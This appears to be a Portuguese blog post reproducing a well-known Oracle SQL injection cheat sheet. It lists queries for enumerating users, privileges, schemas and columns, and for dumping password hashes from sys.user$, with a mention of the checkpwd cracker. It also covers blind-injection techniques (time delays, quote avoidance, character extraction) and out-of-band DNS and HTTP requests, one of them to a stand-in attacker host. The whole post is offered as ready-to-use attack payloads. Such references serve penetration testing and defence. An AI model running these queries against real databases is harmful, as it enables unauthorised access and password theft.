Oracle SQL Injection Comandos

Segue uma lista de injeções ao banco de dados Oracle, são comandos genéricos que o banco interpreta, que me traz vários resultados, sem saber exatamente o nome da tabela ou o nome do usuário. 

Version	SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance;
Comments	SELECT 1 FROM dual — comment – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
Current User	SELECT user FROM dual
List Users	SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv
List Password Hashes	SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g
Password Cracker	checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges	SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts	SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current Database	SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases	SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases.  See tnscmd (services | status).
List Columns	SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
List Tables	SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;
Find Tables From Column Name	SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Row	SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth Char	SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise AND	SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> Char	SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value	SELECT ascii(‘A’) FROM dual; — returns 65
Casting	SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual;
String Concatenation	SELECT ‘A’ || ‘B’ FROM dual; — returns AB
If Statement	BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case Statement	SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding Quotes	SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay	BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay
Make DNS Requests	SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Command Execution	Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me.
Local File Access	UTL_FILE can sometimes be used.  Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
Hostname, IP Address	SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
Location of DB files	SELECT name FROM V$DATAFILE;
Default/System Databases	SYSTEM SYSAUX